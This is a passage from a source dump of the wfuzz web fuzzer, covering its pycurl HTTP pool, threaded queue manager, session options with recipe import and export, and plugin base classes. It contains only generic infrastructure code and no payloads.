self.exit_job = False\n        self.mutex_stats = Lock()\n\n        self.m = None\n        self.curlh_freelist = []\n        self._request_list = collections.deque()\n        self.handles = []\n\n        self.ths = None\n\n        self.pool_map = {}\n\n        self.options = options\n\n        self._registered = 0\n\n    def _initialize(self):\n        # pycurl Connection pool\n        self.m = pycurl.CurlMulti()\n        self.handles = []\n\n        for i in range(self.options.get(\"concurrent\")):\n            curl_h = pycurl.Curl()\n            self.handles.append(curl_h)\n            self.curlh_freelist.append(curl_h)\n\n        # create threads\n        self.ths = []\n\n        for fn in (\"_read_multi_stack\",):\n            th = Thread(target=getattr(self, fn))\n            th.setName(fn)\n            self.ths.append(th)\n            th.start()\n\n    def job_stats(self):\n        with self.mutex_stats:\n            dic = {\n                \"http_processed\": self.processed,\n                \"http_registered\": self._registered,\n            }\n        return dic\n\n    # internal http pool control\n\n    def iter_results(self, poolid):\n        item = self.pool_map[poolid][\"queue\"].get()\n\n        if not item:\n            return\n\n        yield item\n\n    def _new_pool(self):\n        poolid = next(self.newid)\n        self.pool_map[poolid] = {}\n        self.pool_map[poolid][\"queue\"] = Queue()\n        self.pool_map[poolid][\"proxy\"] = None\n\n        if self.options.get(\"proxies\"):\n            self.pool_map[poolid][\"proxy\"] = self._get_next_proxy(\n                self.options.get(\"proxies\")\n            )\n\n        return poolid\n\n    def _prepare_curl_h(self, curl_h, fuzzres, poolid):\n        new_curl_h = ReqRespRequestFactory.to_http_object(\n            self.options, fuzzres.history, curl_h\n        )\n        new_curl_h = self._set_extra_options(new_curl_h, fuzzres, poolid)\n\n        new_curl_h.response_queue = (BytesIO(), BytesIO(), fuzzres, poolid)\n        new_curl_h.setopt(pycurl.WRITEFUNCTION, new_curl_h.response_queue[0].write)\n        new_curl_h.setopt(pycurl.HEADERFUNCTION, new_curl_h.response_queue[1].write)\n\n        return new_curl_h\n\n    def enqueue(self, fuzzres, poolid):\n        if self.exit_job:\n            return\n\n        self._request_list.append((fuzzres, poolid))\n\n    def _stop_to_pools(self):\n        for p in list(self.pool_map.keys()):\n            self.pool_map[p][\"queue\"].put(None)\n\n    def cleanup(self):\n        self.exit_job = True\n        for th in self.ths:\n            th.join()\n\n    def register(self):\n        with self.mutex_stats:\n            self._registered += 1\n\n        if not self.pool_map:\n            self._initialize()\n\n        return self._new_pool()\n\n    def deregister(self):\n        with self.mutex_stats:\n            self._registered -= 1\n\n            if self._registered <= 0:\n                self.cleanup()\n\n    def _get_next_proxy(self, proxy_list):\n        i = 0\n        while 1:\n            yield proxy_list[i]\n            i += 1\n            i = i % len(proxy_list)\n\n    def _set_extra_options(self, c, fuzzres, poolid):\n        if self.pool_map[poolid][\"proxy\"]:\n            ip, port, ptype = next(self.pool_map[poolid][\"proxy\"])\n\n            fuzzres.history.wf_proxy = ((\"%s:%s\" % (ip, port)), ptype)\n\n            if ptype == \"SOCKS5\":\n                c.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5)\n                c.setopt(pycurl.PROXY, \"%s:%s\" % (ip, port))\n            elif ptype == \"SOCKS4\":\n                c.setopt(pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS4)\n                c.setopt(pycurl.PROXY, \"%s:%s\" % (ip, port))\n            elif ptype == \"HTTP\":\n                c.setopt(pycurl.PROXY, \"%s:%s\" % (ip, port))\n            else:\n                raise FuzzExceptBadOptions(\n                    \"Bad proxy type specified, correct values are HTTP, SOCKS4 or SOCKS5.\"\n                )\n        else:\n            c.setopt(pycurl.PROXY, \"\")\n\n        mdelay = self.options.get(\"req_delay\")\n        if mdelay is not None:\n            c.setopt(pycurl.TIMEOUT, mdelay)\n\n        cdelay = self.options.get(\"conn_delay\")\n        if cdelay is not None:\n            c.setopt(pycurl.CONNECTTIMEOUT, cdelay)\n\n        return c\n\n    def _process_curl_handle(self, curl_h):\n        buff_body, buff_header, res, poolid = curl_h.response_queue\n\n        try:\n            ReqRespRequestFactory.from_http_object(\n                self.options,\n                res.history,\n                curl_h,\n                buff_header.getvalue(),\n                buff_body.getvalue(),\n            )\n        except Exception as e:\n            self.pool_map[poolid][\"queue\"].put(res.update(exception=e))\n        else:\n            # reset type to result otherwise backfeed items will enter an infinite loop\n            self.pool_map[poolid][\"queue\"].put(res.update())\n\n        with self.mutex_stats:\n            self.processed += 1\n\n    def _process_curl_should_retry(self, res, errno, poolid):\n        if errno not in UNRECOVERABLE_PYCURL_EXCEPTIONS:\n            res.history.wf_retries += 1\n\n            if res.history.wf_retries < self.options.get(\"retries\"):\n                self._request_list.append((res, poolid))\n                return True\n\n        return False\n\n    def _process_curl_handle_error(self, res, errno, errmsg, poolid):\n        e = FuzzExceptNetError(\"Pycurl error %d: %s\" % (errno, errmsg))\n        res.history.totaltime = 0\n        self.pool_map[poolid][\"queue\"].put(res.update(exception=e))\n\n        with self.mutex_stats:\n            self.processed += 1\n\n    def _read_multi_stack(self):\n        # Check for curl objects which have terminated, and add them to the curlh_freelist\n        while not self.exit_job:\n            while not self.exit_job:\n                ret, num_handles = self.m.perform()\n                if ret != pycurl.E_CALL_MULTI_PERFORM:\n                    break\n\n            num_q, ok_list, err_list = self.m.info_read()\n            for curl_h in ok_list:\n                self._process_curl_handle(curl_h)\n                self.m.remove_handle(curl_h)\n                self.curlh_freelist.append(curl_h)\n\n            for curl_h, errno, errmsg in err_list:\n                buff_body, buff_header, res, poolid = curl_h.response_queue\n\n                if not self._process_curl_should_retry(res, errno, poolid):\n                    self._process_curl_handle_error(res, errno, errmsg, poolid)\n\n                self.m.remove_handle(curl_h)\n                self.curlh_freelist.append(curl_h)\n\n            while self.curlh_freelist and self._request_list:\n                curl_h = self.curlh_freelist.pop()\n                fuzzres, poolid = self._request_list.popleft()\n\n                self.m.add_handle(self._prepare_curl_h(curl_h, fuzzres, poolid))\n\n        self._stop_to_pools()\n\n        # cleanup multi stack\n        for c in self.handles:\n            c.close()\n            self.curlh_freelist.append(c)\n        self.m.close()\n"
  },
  {
    "path": "src/wfuzz/myqueues.py",
    "content": "import collections\n\n# python 2 and 3\ntry:\n    from itertools import zip_longest\nexcept ImportError:\n    from itertools import izip_longest as zip_longest\n\nfrom queue import PriorityQueue\nfrom threading import Thread, RLock\nfrom .fuzzobjects import FuzzError, FuzzType, FuzzItem\n\nfrom .exception import FuzzException, FuzzExceptInternalError\n\n\nclass MyPriorityQueue(PriorityQueue):\n    def __init__(self, limit=0):\n        PriorityQueue.__init__(self, limit)\n\n        self.max_prio = 0\n\n    def _put_priority(self, prio, item, wait):\n        self.max_prio = max(prio, self.max_prio)\n        PriorityQueue.put(self, (prio, item), wait)\n\n    def put(self, item, wait=True):\n        self._put_priority(item.rlevel, item, wait)\n\n    def put_first(self, item, wait=True):\n        self._put_priority(0, item, wait)\n\n    def put_last(self, item, wait=True):\n        self._put_priority(self.max_prio + 1, item, wait)\n\n    def get(self):\n        prio, item = PriorityQueue.get(self, True)\n\n        return item\n\n\nclass FuzzQueue(MyPriorityQueue, Thread):\n    def __init__(self, options, queue_out=None, limit=0):\n        MyPriorityQueue.__init__(self, limit)\n        self.queue_out = queue_out\n        self.duplicated = False\n        self.syncq = None\n\n        self.stats = options.get(\"compiled_stats\")\n        self.options = options\n\n        Thread.__init__(self)\n        self.setName(self.get_name())\n\n    def next_queue(self, q):\n        self.queue_out = q\n\n    def process(self, item):\n        raise NotImplementedError\n\n    def get_name(self):\n        raise NotImplementedError\n\n    def process_discarded(self):\n        return False\n\n    def items_to_process(self):\n        return [FuzzType.RESULT]\n\n    # Override this method if needed. This will be called just before cancelling the job.\n    def cancel(self):\n        pass\n\n    # Override this method if needed. This will be called just before starting the job.\n    def mystart(self):\n        pass\n\n    def set_syncq(self, q):\n        self.syncq = q\n\n    def qstart(self):\n        self.mystart()\n        self.start()\n\n    def send_first(self, item):\n        self.queue_out.put_first(item)\n\n    def send_last(self, item):\n        self.queue_out.put_last(item)\n\n    def qout_join(self):\n        self.queue_out.join()\n\n    def send(self, item):\n        self.queue_out.put(item)\n\n    def discard(self, item):\n        item.discarded = True\n        self.send(item)\n\n    def join(self):\n        MyPriorityQueue.join(self)\n\n    def tjoin(self):\n        Thread.join(self)\n\n    # Override this method if needed. This will be called after job's thread dies.\n    def _cleanup(self):\n        pass\n\n    def _throw(self, e):\n        self.syncq.put_first(FuzzError(e))\n\n    def get_stats(self):\n        return {self.get_name(): self.qsize()}\n\n    def run(self):\n        cancelling = False\n\n        while 1:\n            item = self.get()\n\n            try:\n                if item is None:\n                    if not self.duplicated:\n                        self.send_last(None)\n                    self.task_done()\n                    break\n                elif cancelling:\n                    self.task_done()\n                    continue\n                elif item.item_type == FuzzType.STARTSEED:\n                    self.stats.mark_start()\n                elif item.item_type == FuzzType.ENDSEED:\n                    if not self.duplicated:\n                        self.send_last(item)\n                    self.task_done()\n                    continue\n                elif item.item_type == FuzzType.CANCEL:\n                    cancelling = True\n                    self.send_first(item)\n                    self.task_done()\n                    continue\n\n                if (\n                    not item.discarded or (item.discarded and self.process_discarded())\n                ) and item.item_type in self.items_to_process():\n                    self.process(item)\n                else:\n                    self.send(item)\n\n                self.task_done()\n            except Exception as e:\n                self.task_done()\n                self._throw(e)\n\n        self._cleanup()\n\n\nclass LastFuzzQueue(FuzzQueue):\n    def __init__(self, options, queue_out=None, limit=0):\n        FuzzQueue.__init__(self, options, queue_out, limit)\n\n    def get_name(self):\n        return \"LastFuzzQueue\"\n\n    def process(self):\n        pass\n\n    def _cleanup(self):\n        pass\n\n    def _throw(self, e):\n        self.queue_out.put_first(FuzzError(e))\n\n    def run(self):\n        cancelling = False\n\n        while 1:\n            item = self.get()\n\n            try:\n                self.task_done()\n\n                if item is None:\n                    break\n                elif cancelling:\n                    continue\n                elif item.item_type == FuzzType.ERROR:\n                    self.qmanager.cancel()\n                    self.send_first(item)\n                    continue\n                elif item.item_type == FuzzType.CANCEL:\n                    cancelling = True\n                    continue\n\n                if item.item_type == FuzzType.RESULT and not item.discarded:\n                    self.send(item)\n\n                if item.item_type == FuzzType.ENDSEED:\n                    self.stats.pending_seeds.dec()\n                elif item.item_type == FuzzType.RESULT:\n                    self.stats.processed.inc()\n                    self.stats.pending_fuzz.dec()\n                    if item.discarded:\n                        self.stats.filtered.inc()\n\n                if self.stats.pending_fuzz() == 0 and self.stats.pending_seeds() == 0:\n                    self.qmanager.cleanup()\n\n            except Exception as e:\n                self._throw(e)\n                self.qmanager.cancel()\n\n        self._cleanup()\n\n\nclass FuzzListQueue(FuzzQueue):\n    def __init__(self, options, queues_out, limit=0):\n        FuzzQueue.__init__(self, options, queues_out, limit)\n\n        # not to propagate a None/Exception to various queueas at the same level, only propagate through one queue\n        for q in self.queue_out[1:]:\n            q.duplicated = True\n\n    def set_syncq(self, q):\n        for q in self.queue_out:\n            q.syncq = q\n\n    def qstart(self):\n        for q in self.queue_out:\n            q.mystart()\n            q.start()\n        self.start()\n\n    def send_first(self, item):\n        for q in self.queue_out:\n            q.put_first(item)\n\n    def send_last(self, item):\n        for q in self.queue_out:\n            q.put_last(item)\n\n    def send(self, item):\n        for q in self.queue_out:\n            q.put(item)\n\n    def qout_join(self):\n        for q in self.queue_out:\n            q.join()\n\n    def join(self):\n        self.qout_join()\n        MyPriorityQueue.join(self)\n\n    def next_queue(self, nextq):\n        for qq in self.queue_out:\n            qq.next_queue(nextq)\n\n    def get_stats(self):\n        stat_list = []\n\n        for qq in self.queue_out:\n            stat_list = stat_list + list(qq.get_stats().items())\n\n        stat_list = stat_list + list(FuzzQueue.get_stats(self).items())\n\n        return dict(stat_list)\n\n\nclass FuzzRRQueue(FuzzListQueue):\n    def __init__(self, options, queues_out, limit=0):\n        FuzzListQueue.__init__(self, options, queues_out, limit)\n        self._next_queue = self._get_next_route()\n\n    def send(self, item):\n        next(self._next_queue).put(item)\n\n    def _get_next_route(self):\n        i = 0\n        while 1:\n            yield self.queue_out[i]\n            i += 1\n            i = i % len(self.queue_out)\n\n\nclass QueueManager:\n    def __init__(self, options):\n        self._queues = collections.OrderedDict()\n        self._lastq = None\n        self._syncq = None\n        self._mutex = RLock()\n\n        self.options = options\n\n    def add(self, name, q):\n        self._queues[name] = q\n\n    def bind(self, lastq):\n        with self._mutex:\n\n            queue_list = list(self._queues.values())\n            self._lastq = lastq\n\n            self._syncq = LastFuzzQueue(self.options, lastq)\n            self._syncq.qmanager = self\n\n            for first, second in zip_longest(queue_list[0:-1:1], queue_list[1::1]):\n                first.next_queue(second)\n                first.set_syncq(self._syncq)\n\n            queue_list[-1].next_queue(self._syncq)\n            queue_list[-1].set_syncq(self._syncq)\n\n    def __getitem__(self, key):\n        return self._queues[key]\n\n    def join(self, remove=False):\n        with self._mutex:\n            for k, q in list(self._queues.items()):\n                q.join()\n                if remove:\n                    del self._queues[k]\n\n    def start(self):\n        with self._mutex:\n            if self._queues:\n                self._syncq.qstart()\n                for q in list(self._queues.values()):\n                    q.qstart()\n\n                list(self._queues.values())[0].put_first(FuzzItem(FuzzType.STARTSEED))\n\n    def cleanup(self):\n        with self._mutex:\n            if self._queues:\n                list(self._queues.values())[0].put_last(None)\n                self.join(remove=True)\n                self.options.get(\"compiled_stats\").mark_end()\n                self._lastq.put_last(None, wait=False)\n\n                self._queues = collections.OrderedDict()\n                self._lastq = None\n\n    def cancel(self):\n        with self._mutex:\n            if self._queues:\n                # stop processing pending items\n                for q in list(self._queues.values()):\n                    q.cancel()\n                    q.put_first(FuzzItem(FuzzType.CANCEL))\n\n                # wait for cancel to be processed\n                self.join()\n\n                # send None to stop (almost nicely)\n                self.cleanup()\n\n    def get_stats(self):\n        stat_list = []\n\n        for q in list(self._queues.values()):\n            stat_list = stat_list + list(q.get_stats().items())\n\n        return dict(stat_list)\n"
  },
  {
    "path": "src/wfuzz/options.py",
    "content": "from .exception import (\n    FuzzExceptBadRecipe,\n    FuzzExceptBadOptions,\n    FuzzExceptBadFile,\n)\nfrom .facade import (\n    Facade,\n    ERROR_CODE,\n    BASELINE_CODE,\n)\n\nfrom .factories.fuzzresfactory import resfactory\nfrom .factories.dictfactory import dictionary_factory\nfrom .fuzzobjects import FuzzStats\nfrom .filters.ppfilter import FuzzResFilter\nfrom .filters.simplefilter import FuzzResSimpleFilter\nfrom .helpers.str_func import (\n    json_minify,\n    python2_3_convert_from_unicode,\n)\n\nfrom .core import Fuzzer\nfrom .myhttp import HttpPool\n\nfrom .externals.reqresp.cache import HttpCache\n\nfrom collections import defaultdict\n\n# python 2 and 3\ntry:\n    from collections import UserDict\nexcept ImportError:\n    from UserDict import UserDict\n\nimport json\n\n\nclass FuzzSession(UserDict):\n    def __init__(self, **kwargs):\n        self.data = self._defaults()\n        self.keys_not_to_dump = [\n            \"interactive\",\n            \"recipe\",\n            \"seed_payload\",\n            \"compiled_stats\",\n            \"compiled_dictio\",\n            \"compiled_simple_filter\",\n            \"compiled_filter\",\n            \"compiled_prefilter\",\n            \"compiled_printer\",\n            \"description\",\n            \"show_field\",\n            \"transport\",\n        ]\n\n        # recipe must be superseded by options\n        if \"recipe\" in kwargs and kwargs[\"recipe\"]:\n            for recipe in kwargs[\"recipe\"]:\n                self.import_from_file(recipe)\n\n        self.update(kwargs)\n\n        self.cache = HttpCache()\n        self.http_pool = None\n\n        self.stats = FuzzStats()\n\n    def _defaults(self):\n        return dict(\n            console_printer=\"\",\n            hs=None,\n            hc=[],\n            hw=[],\n            hl=[],\n            hh=[],\n            ss=None,\n            sc=[],\n            sw=[],\n            sl=[],\n            sh=[],\n            payloads=None,\n            iterator=None,\n            printer=(None, None),\n            colour=False,\n            previous=False,\n            verbose=False,\n            interactive=False,\n            transport=\"http\",\n            recipe=[],\n            save=\"\",\n            proxies=None,\n            conn_delay=int(Facade().sett.get(\"connection\", \"conn_delay\")),\n            req_delay=int(Facade().sett.get(\"connection\", \"req_delay\")),\n            retries=int(Facade().sett.get(\"connection\", \"retries\")),\n            rlevel=0,\n            dlevel=4,\n            scanmode=False,\n            delay=None,\n            concurrent=int(Facade().sett.get(\"connection\", \"concurrent\")),\n            url=\"\",\n            method=None,\n            auth={},\n            follow=False,\n            postdata=None,\n            headers=[],\n            cookie=[],\n            allvars=None,\n            script=\"\",\n            script_args={},\n            connect_to_ip=None,\n            fields=[],\n            no_cache=False,\n            show_field=None,\n            # this is equivalent to payloads but in a different format\n            dictio=None,\n            # these will be compiled\n            seed_payload=False,\n            filter=\"\",\n            prefilter=[],\n            compiled_filter=None,\n            compiled_prefilter=[],\n            compiled_printer=None,\n            compiled_seed=None,\n            compiled_baseline=None,\n            compiled_stats=None,\n            compiled_dictio=None,\n            exec_mode=\"api\",\n        )\n\n    def update(self, options):\n        self.data.update(options)\n\n    def validate(self):\n        error_list = []\n\n        if self.data[\"dictio\"] and self.data[\"payloads\"]:\n            raise FuzzExceptBadOptions(\n                \"Bad usage: Dictio and payloads options are mutually exclusive. Only one could be specified.\"\n            )\n\n        if self.data[\"rlevel\"] > 0 and self.data[\"transport\"] == \"dryrun\":\n            error_list.append(\n                \"Bad usage: Recursion cannot work without making any HTTP request.\"\n            )\n\n        if self.data[\"script\"] and self.data[\"transport\"] == \"dryrun\":\n            error_list.append(\n                \"Bad usage: Plugins cannot work without making any HTTP request.\"\n            )\n\n        if self.data[\"no_cache\"] not in [True, False]:\n            raise FuzzExceptBadOptions(\"Bad usage: No-cache is a boolean value\")\n\n        if not self.data[\"url\"]:\n            error_list.append(\"Bad usage: You must specify an URL.\")\n\n        if not self.data[\"payloads\"] and not self.data[\"dictio\"]:\n            error_list.append(\"Bad usage: You must specify a payload.\")\n\n        if self.data[\"hs\"] and self.data[\"ss\"]:\n            raise FuzzExceptBadOptions(\n                \"Bad usage: Hide and show regex filters flags are mutually exclusive. Only one could be specified.\"\n            )\n\n        if self.data[\"rlevel\"] < 0:\n            raise FuzzExceptBadOptions(\n                \"Bad usage: Recursion level must be a positive int.\"\n            )\n\n        if self.data[\"allvars\"] not in [None, \"allvars\", \"allpost\", \"allheaders\"]:\n            raise FuzzExceptBadOptions(\n                \"Bad options: Incorrect all parameters brute forcing type specified, correct values are allvars,allpost or allheaders.\"\n            )\n\n        if self.data[\"proxies\"]:\n            for ip, port, ttype in self.data[\"proxies\"]:\n                if ttype not in (\"SOCKS5\", \"SOCKS4\", \"HTTP\"):\n                    raise FuzzExceptBadOptions(\n                        \"Bad proxy type specified, correct values are HTTP, SOCKS4 or SOCKS5.\"\n                    )\n\n        return error_list\n\n    def export_to_file(self, filename):\n        try:\n            with open(filename, \"w\") as f:\n                f.write(self.export_json())\n        except IOError:\n            raise FuzzExceptBadFile(\"Error writing recipe file.\")\n\n    def import_from_file(self, filename):\n        try:\n            with open(filename, \"r\") as f:\n                self.import_json(f.read())\n        except IOError:\n            raise FuzzExceptBadFile(\"Error loading recipe file {}.\".format(filename))\n        except json.decoder.JSONDecodeError as e:\n            raise FuzzExceptBadRecipe(\n                \"Incorrect JSON recipe {} format: {}\".format(filename, str(e))\n            )\n\n    def import_json(self, data):\n        js = json.loads(json_minify(data))\n\n        try:\n            if js[\"version\"] == \"0.2\" and \"wfuzz_recipe\" in js:\n                for k, v in js[\"wfuzz_recipe\"].items():\n                    if k not in self.keys_not_to_dump:\n                        # python 2 and 3 hack\n                        if k in self.data and isinstance(self.data[k], list):\n                            self.data[k] += python2_3_convert_from_unicode(v)\n                        else:\n                            self.data[k] = python2_3_convert_from_unicode(v)\n            else:\n                raise FuzzExceptBadRecipe(\"Unsupported recipe version.\")\n        except KeyError:\n            raise FuzzExceptBadRecipe(\"Incorrect recipe format.\")\n\n    def export_json(self):\n        tmp = dict(version=\"0.2\", wfuzz_recipe=defaultdict(dict))\n        defaults = self._defaults()\n\n        # Only dump the non-default options\n        for k, v in self.data.items():\n            if v != defaults[k] and k not in self.keys_not_to_dump:\n                tmp[\"wfuzz_recipe\"][k] = self.data[k]\n\n        return json.dumps(tmp, sort_keys=True, indent=4, separators=(\",\", \": \"))\n\n    def payload(self, **kwargs):\n        try:\n            self.data.update(kwargs)\n            self.compile_seeds()\n            self.compile_dictio()\n            for r in self.data[\"compiled_dictio\"]:\n                yield tuple((fuzz_word.content for fuzz_word in r))\n        finally:\n            self.data[\"compiled_dictio\"].cleanup()\n\n    def fuzz(self, **kwargs):\n        self.data.update(kwargs)\n\n        fz = None\n        try:\n            fz = Fuzzer(self.compile())\n\n            for f in fz:\n                yield f\n\n        finally:\n            if fz:\n                fz.cancel_job()\n                self.stats.update(self.data[\"compiled_stats\"])\n\n            if self.http_pool:\n                self.http_pool.deregister()\n                self.http_pool = None\n\n    def get_payloads(self, iterator):\n        self.data[\"dictio\"] = iterator\n\n        return self\n\n    def get_payload(self, iterator):\n        return self.get_payloads([iterator])\n\n    def __enter__(self):\n        self.http_pool = HttpPool(self)\n        self.http_pool.register()\n        return self\n\n    def __exit__(self, *args):\n        self.close()\n\n    def get_fuzz_words(self):\n        fuzz_words = self.data[\"compiled_filter\"].get_fuzz_words()\n\n        for comp_obj in [\"compiled_seed\", \"compiled_baseline\"]:\n            if self.data[comp_obj]:\n                fuzz_words += self.data[comp_obj].payload_man.get_fuzz_words()\n\n        for prefilter in self.data[\"compiled_prefilter\"]:\n            fuzz_words += prefilter.get_fuzz_words()\n\n        if self.data[\"url\"] == \"FUZZ\":\n            fuzz_words.append(\"FUZZ\")\n\n        return set(fuzz_words)\n\n    def compile_dictio(self):\n        if self.data[\"allvars\"]:\n            self.data[\"compiled_dictio\"] = dictionary_factory.create(\n                \"dictio_from_allvar\", self\n            )\n        else:\n            self.data[\"compiled_dictio\"] = dictionary_factory.create(\n                \"dictio_from_options\", self\n            )\n\n    def compile_seeds(self):\n        self.data[\"compiled_seed\"] = resfactory.create(\"seed_from_options\", self)\n        self.data[\"compiled_baseline\"] = resfactory.create(\n            \"baseline_from_options\", self\n        )\n\n    def compile(self):\n        # Validate options\n        error = self.validate()\n        if error:\n            raise FuzzExceptBadOptions(error[0])\n\n        self.data[\"seed_payload\"] = True if self.data[\"url\"] == \"FUZZ\" else False\n\n        # printer\n        try:\n            filename, printer = self.data[\"printer\"]\n        except ValueError:\n            raise FuzzExceptBadOptions(\n                \"Bad options: Printer must be specified in the form of ('filename', 'printer')\"\n            )\n\n        if filename:\n            if printer == \"default\" or not printer:\n                printer = Facade().sett.get(\"general\", \"default_printer\")\n            self.data[\"compiled_printer\"] = Facade().printers.get_plugin(printer)(\n                filename\n            )\n\n        try:\n            for filter_option in [\"hc\", \"hw\", \"hl\", \"hh\", \"sc\", \"sw\", \"sl\", \"sh\"]:\n                self.data[filter_option] = [\n                    BASELINE_CODE\n                    if i == \"BBB\"\n                    else ERROR_CODE\n                    if i == \"XXX\"\n                    else int(i)\n                    for i in self.data[filter_option]\n                ]\n        except ValueError:\n            raise FuzzExceptBadOptions(\n                \"Bad options: Filter must be specified in the form of [int, ... , int, BBB, XXX].\"\n            )\n\n        self.compile_seeds()\n        self.compile_dictio()\n\n        # filter options\n        self.data[\"compiled_simple_filter\"] = FuzzResSimpleFilter.from_options(self)\n        self.data[\"compiled_filter\"] = FuzzResFilter(self.data[\"filter\"])\n        for prefilter in self.data[\"prefilter\"]:\n            self.data[\"compiled_prefilter\"].append(\n                FuzzResFilter(filter_string=prefilter)\n            )\n\n        self.data[\"compiled_stats\"] = FuzzStats.from_options(self)\n\n        # Check payload num\n        fuzz_words = self.get_fuzz_words()\n\n        if self.data[\"compiled_dictio\"].width() != len(fuzz_words):\n            raise FuzzExceptBadOptions(\n                \"FUZZ words and number of payloads do not match!\"\n            )\n\n        if self.data[\"allvars\"] is None and len(fuzz_words) == 0:\n            raise FuzzExceptBadOptions(\"You must specify at least a FUZZ word!\")\n\n        if self.data[\"compiled_baseline\"] is None and (\n            BASELINE_CODE in self.data[\"hc\"]\n            or BASELINE_CODE in self.data[\"hl\"]\n            or BASELINE_CODE in self.data[\"hw\"]\n            or BASELINE_CODE in self.data[\"hh\"]\n        ):\n            raise FuzzExceptBadOptions(\n                \"Bad options: specify a baseline value when using BBB\"\n            )\n\n        if self.data[\"script\"]:\n            Facade().scripts.kbase.update(self.data[\"script_args\"])\n\n            for k, v in Facade().sett.get_section(\"kbase\"):\n                if k not in self.data[\"script_args\"]:\n                    Facade().scripts.kbase[k] = v\n\n        if not self.http_pool:\n            self.http_pool = HttpPool(self)\n            self.http_pool.register()\n\n        if self.data[\"colour\"]:\n            Facade().printers.kbase[\"colour\"] = True\n\n        if self.data[\"verbose\"]:\n            Facade().printers.kbase[\"verbose\"] = True\n\n        return self\n\n    def close(self):\n        if self.data[\"compiled_dictio\"]:\n            self.data[\"compiled_dictio\"].cleanup()\n\n        if self.http_pool:\n            self.http_pool.deregister()\n            self.http_pool = None\n"
  },
  {
    "path": "src/wfuzz/plugin_api/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/plugin_api/base.py",
    "content": "from wfuzz.fuzzobjects import FuzzWord, FuzzPlugin\nfrom wfuzz.exception import (\n    FuzzExceptBadFile,\n    FuzzExceptBadOptions,\n    FuzzExceptPluginError,\n)\nfrom wfuzz.facade import Facade\nfrom wfuzz.factories.plugin_factory import plugin_factory\nfrom wfuzz.helpers.file_func import find_file_in_paths\n\nimport sys\nimport os\nfrom distutils import util\n\n# python 2 and 3: iterator\nfrom builtins import object\n\n\n# Util methods for accessing search results\nclass BasePlugin:\n    def __init__(self):\n        self.results_queue = None\n        self.base_fuzz_res = None\n\n        # check mandatory params, assign default values\n        for name, default_value, required, description in self.parameters:\n            param_name = \"{}.{}\".format(self.name, name)\n\n            if required and param_name not in list(self.kbase.keys()):\n                raise FuzzExceptBadOptions(\n                    \"Plugins, missing parameter %s!\" % (param_name,)\n                )\n\n            if param_name not in list(self.kbase.keys()):\n                self.kbase[param_name] = default_value\n\n    def run(self, fuzzresult, control_queue, results_queue):\n        try:\n            self.results_queue = results_queue\n            self.base_fuzz_res = fuzzresult\n            self.process(fuzzresult)\n        except Exception as e:\n            results_queue.put(plugin_factory.create(\"plugin_from_error\", self.name, e))\n        finally:\n            control_queue.get()\n            control_queue.task_done()\n            return\n\n    def process(self, fuzzresult):\n        \"\"\"\n        This is were the plugin processing is done. Any wfuzz plugin must implement this method, do its job with the fuzzresult received and:\n        - queue_url: if it is a discovery plugin enqueing more HTTP request that at some point will generate more results\n        - add_result: Add information about the obtained results after the processing with an accurate description\n\n        A kbase (get_kbase, has_kbase, add_kbase) is shared between all plugins. this can be used to store and retrieve relevant \"collaborative\" information.\n        \"\"\"\n        raise NotImplementedError\n\n    def validate(self):\n        raise FuzzExceptPluginError(\"Method count not implemented\")\n\n    def add_result(self, itype, issue, data, severity=FuzzPlugin.INFO):\n        self.results_queue.put(\n            plugin_factory.create(\n                \"plugin_from_finding\", self.name, itype, issue, data, severity\n            )\n        )\n\n    def queue_url(self, url):\n        self.results_queue.put(\n            plugin_factory.create(\n                \"plugin_from_recursion\", self.name, self.base_fuzz_res, url\n            )\n        )\n\n    def _bool(self, value):\n        return bool(util.strtobool(value))\n\n\nclass BasePrinter:\n    def __init__(self, output):\n        self.f = None\n        if output:\n            try:\n                self.f = open(output, \"w\")\n            except IOError as e:\n                raise FuzzExceptBadFile(\"Error opening file. %s\" % str(e))\n        else:\n            self.f = sys.stdout\n\n        self.verbose = Facade().printers.kbase[\"verbose\"]\n\n    def header(self):\n        raise FuzzExceptPluginError(\"Method header not implemented\")\n\n    def footer(self):\n        raise FuzzExceptPluginError(\"Method footer not implemented\")\n\n    def result(self):\n        raise FuzzExceptPluginError(\"Method result not implemented\")\n\n\nclass BasePayload(object):\n    def __init__(self, params):\n        self.params = params\n\n        # default params\n        if \"default\" in self.params:\n            self.params[self.default_parameter] = self.params[\"default\"]\n\n            if not self.default_parameter:\n                raise FuzzExceptBadOptions(\"Too many plugin parameters specified\")\n\n        # Check for allowed parameters\n        if [\n            k\n            for k in list(self.params.keys())\n            if k not in [x[0] for x in self.parameters]\n            and k not in [\"encoder\", \"default\"]\n        ]:\n            raise FuzzExceptBadOptions(\n                \"Plugin %s, unknown parameter specified!\" % (self.name)\n            )\n\n        # check mandatory params, assign default values\n        for name, default_value, required, description in self.parameters:\n            if required and name not in self.params:\n                raise FuzzExceptBadOptions(\n                    \"Plugin %s, missing parameter %s!\" % (self.name, name)\n                )\n\n            if name not in self.params:\n                self.params[name] = default_value\n\n    def get_type(self):\n        raise FuzzExceptPluginError(\"Method get_type not implemented\")\n\n    def get_next(self):\n        raise FuzzExceptPluginError(\"Method get_next not implemented\")\n\n    def __next__(self):\n        return FuzzWord(self.get_next(), self.get_type())\n\n    def count(self):\n        raise FuzzExceptPluginError(\"Method count not implemented\")\n\n    def __iter__(self):\n        return self\n\n    def close(self):\n        pass\n\n    def find_file(self, name):\n        if os.path.exists(name):\n            return name\n\n        for pa in Facade().sett.get(\"general\", \"lookup_dirs\").split(\",\"):\n            fn = find_file_in_paths(name, pa)\n\n            if fn is not None:\n                return fn\n\n        return name\n"
  },
  {
    "path": "src/wfuzz/plugin_api/mixins.py",
    "content": "# Plugins specializations with common methods useful for their own type\nfrom wfuzz.plugin_api.urlutils import parse_url\nfrom .base import BasePlugin\n\n\nclass DiscoveryPluginMixin:\n    def queue_url(self, url):\n        if not parse_url(url).isbllist:\n            BasePlugin.queue_url(self, url)\n            return True\n        return False\n"
  },
  {
    "path": "src/wfuzz/plugin_api/payloadtools.py",
